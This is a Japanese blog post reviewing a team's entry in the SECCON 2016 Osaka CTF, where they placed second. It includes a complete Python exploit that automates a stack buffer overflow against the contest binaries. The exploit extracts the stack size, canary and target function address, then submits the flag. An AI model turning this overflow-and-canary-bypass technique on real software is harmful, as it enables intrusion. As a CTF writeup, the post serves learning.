SECCON 2016 大阪大会に参加してきた
今回のSECCON大阪大会 アツマレバイナリアン に参加してきました.
大阪大会に参加するのは一昨年の x86 Remote Exploit Challenge 以来なので,結構楽しみにしていました.
本大会には大学の友達のicchy, hamaと私の3人で,チーム「tuat_mcc」として参加してきました.
tuatは大学の略称で,mccはサークル名です.
また,私の大学からはもう1チーム「tuat_ndd」という名前で,後輩たちも参加しました.
後輩には負けられませんね!
大会概要
もう少しちゃんと説明しますと,全部で4つのサーバが動いていて,それぞれ次のような特徴があります.
– 10.0.1.2:10000 ● バックドアを探せ(easy, 5分毎にバイナリ更新, 全36バイナリ) – 10.0.1.2:20000 ● バックドアを探せ(hard, 1秒毎にバイナリ更新, 全10,800バイナリ) – 10.0.1.2:30000 ● スタックバッファオーバーフローで制御を奪え(easy, 5分毎にバイナリ更新, 全36バイナリ) – 10.0.1.2:40000 ● スタックバッファオーバーフローで制御を奪え(hard, 1秒毎にバイナリ更新, 全10,800バイナリ)
なるほどなぁ()
一度コネクションを張れば,切れるまではそのバイナリが走っているので,一定時間ごとに更新と言ってもその時間以内にExploitを投げないといけないわけではありません.
対象バイナリが動いているディレクトリに「secret」というファイルが存在するため,それをopen/read/stdoutにwriteすれば勝ちです.
SECCON運営の方々は,我々は未来を見据えていると仰っていましたが,未来にぶっ飛びすぎです(笑)
結果
15チーム中2位
聞こえは良いが,1位とダブルスコア付けられたのでもうダメ🙅
Writeup
解いた問題とその解法を軽く紹介します.
Stack BOF easy (Port:30000)
その名の通り,Stack Buffer Overflow の脆弱性があるバイナリ
IDAで見たmain関数はこんな感じ
まあ明らかにオーバフローしますね.
ただし,canaryっぽいものがあるのに注意が必要.比較してjnzで飛んだ先に待ち構えているのはsys_exitです.
降ってくるバイナリごとにstackのサイズとcanaryが変わるので,それさえどうにか特定してやればRIPは奪えそう.しかし問題はどこに飛ばすか
バイナリを探していると,secretを読んでくれる関数を発見.
勝ち
ここまでの方針は割とすぐに立ったので,ひとまず手動で解析して得点を得ます.
IDA立ち上げるのが面倒になったので,objdumpでstack size, canary, secret関数のアドレス それぞれを特定してこんな感じのexploitを作成
exploit = 'a'*(stack_size-8) exploit += pack_64(canary) exploit += pack_64(0xdeadbeef) exploit += pack_64(addr_func_secret) cmn.sendln(b64encode(exploit)) cmn.read_until('FLAG:') flag = cmn.read_until() info('FLAG : %s' % flag)
しかしずっと手動でやり続けるのは疲れるので解析完全自動化を図ります.
まずはmain関数よりも前に呼ばれるentry pointの関数が必ずcld命令(0xfc)から始まり,その次の命令がcall main
であることに注目し,そこからmain関数のアドレスを特定.
main関数のアドレスが分かればsub rsp, X
とmov [rsp+X-8], canary
があるので,stack sizeとcanaryが得られます.
最後にsecret関数ですが,この関数は機械語が固定なので,バイナリ全体から検索してすぐに位置を特定できます.
雑なexploitがこちら
#!/usr/bin/env python from sc_pwn import * from md5 import md5 submit = {'host':'10.0.1.1','port':10000} env = Environment('local', 'remote') env.set_item('target', local = {'host':'192.168.75.139','port':8080}, \ remote = {'host':'10.0.1.2','port':30000}) env.select('remote') #env.select() base = 0x400000 func_secret = '\x55\x48\x89\xe5\x48\x81\xec\x00\x01\x00\x00\x6a\x00\x6a\x00' #========== def attack(cmn): image = get_elf(env.target['port'], cmn) offset_start = image.index('\xfc') diff_main = unpack_32(image[offset_start+2:offset_start+6]) offset_main = (offset_start+diff_main+6) & 0xffff stack_size = ord(image[offset_main+7]) canary = unpack_32(image[offset_main+0x13:offset_main+0x17]) if canary > (1<<31)-1: # 0x7fffffff canary += (1<<32)-1<<32 # 0xffffffff00000000 addr_secret = image.index(func_secret)+base info('stack_size = 0x%x' % stack_size) info('canary = 0x%x' % canary) info('addr_secret = 0x%08x' % addr_secret) exploit = 'a'*(stack_size-8) exploit += pack_64(canary) exploit += pack_64(0xdeadbeef) exploit += pack_64(addr_secret) print b64encode(exploit) cmn.sendln(b64encode(exploit)) cmn.read_until('FLAG:') flag = cmn.read_until() info('FLAG : %s' % flag) return flag def get_elf(port, cmn): print cmn.read_until() cmn.read_until('IMAGE:') bin_image = b64decode(cmn.read_until().strip()) bin_fname = "bin_%d_%s.elf" % (port,md5(bin_image).hexdigest()) with open(bin_fname, "wb") as binfile: binfile.write(bin_image) return bin_image #========== if __name__=='__main__': cmn = Communicate(env.target,mode='SOCKET', disp=False) flag = attack(cmn) sbcmn = Communicate(submit,mode='SOCKET', disp=False) sbcmn.sendln('tuat_mcc %s' % flag) print sbcmn.read_all() del(cmn) #==========
一応,フラグのsubmitまで自動化しておきました.
Backdoor easy (Port:10000)
チームメイトが解いてくれたので,ここでの紹介は割愛
まとめ
結局ちゃんと自動化できたのが終了から40分ほど前だったので,もっと改善の余地がありすぎる.
angrについては全く勉強していなかったので,aの字も出てこなかった.
angrを使ってサクッと解ける問題があったらしいので,ちゃんと勉強しておけばよかったと反省してる.
やっぱり1秒更新問題が解けてないと,1位には到底追いつけなさそう.
東京大阪間の新幹線往復+宿泊込みで2万円切るとかサイコー